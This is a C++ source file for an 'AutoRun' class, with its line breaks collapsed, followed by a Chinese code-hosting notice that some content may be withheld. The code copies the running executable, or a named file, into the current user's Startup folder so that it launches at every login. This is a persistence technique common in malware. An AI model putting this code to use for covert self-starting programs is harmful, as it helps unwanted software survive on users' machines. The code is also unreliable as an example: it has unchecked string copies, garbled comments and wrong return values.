#pragma warning(disable:4996)#include "AutoRun.h"//#define DEBUGBOOL GetStartUpDirPath(char* StartUpDir){char NameBuffer[MAX_PATH] = { 0 };char PathBuffer[MAX_PATH] = "C:\\Users\\";DWORD dwBufferLength = MAX_PATH;BOOL bFlag = FALSE;//SHGetFolderPathA()bFlag = GetUserNameA(NameBuffer, &dwBufferLength);if (!bFlag){#ifdef DEBUGprintf("GetUserNameA:%x\n", GetLastError());#endifreturn false;}//puts(NameBuffer);strcat(PathBuffer, NameBuffer);strcat(PathBuffer, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");strcpy(StartUpDir, PathBuffer);return true;}BOOL AutoRun::StartUpFloderAutoRun(char* szTargetFilePath,const char* szAutoRunFileName){char szStartUpDirPath[MAX_PATH] = { 0 };char szSrcFilePath[MAX_PATH] = { 0 };char szDstFilePath[MAX_PATH] = { 0 };BOOL bFlag = false;bFlag = GetStartUpDirPath(szStartUpDirPath);if (!bFlag){#ifdef DEBUGprintf("GetStartUpDirPath:%x\n", GetLastError());#endif // DEBUGreturn false;}//puts(szStartUpDirPath);strcpy(szDstFilePath, szStartUpDirPath);strcat(szDstFilePath, "\\");strcat(szDstFilePath, szAutoRunFileName);//puts(szDstFilePath);if (szTargetFilePath == NULL){GetModuleFileNameA(NULL, szSrcFilePath, MAX_PATH);//puts(szSrcFilePath);}else{strcpy(szSrcFilePath, szTargetFilePath);}bFlag = CopyFileA(szSrcFilePath, szDstFilePath, FALSE); //ļƵļif (!bFlag){DWORD LastError = GetLastError();if (LastError == 0x3){CreateDirectoryA(szStartUpDirPath,NULL);CopyFileA(szSrcFilePath, szDstFilePath, TRUE);return true;}//else if (LastError == 0x50)//{// return true;//}#ifdef DEBUGprintf("CopyFile Error %x\n", GetLastError());#endifreturn false;}return false;}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。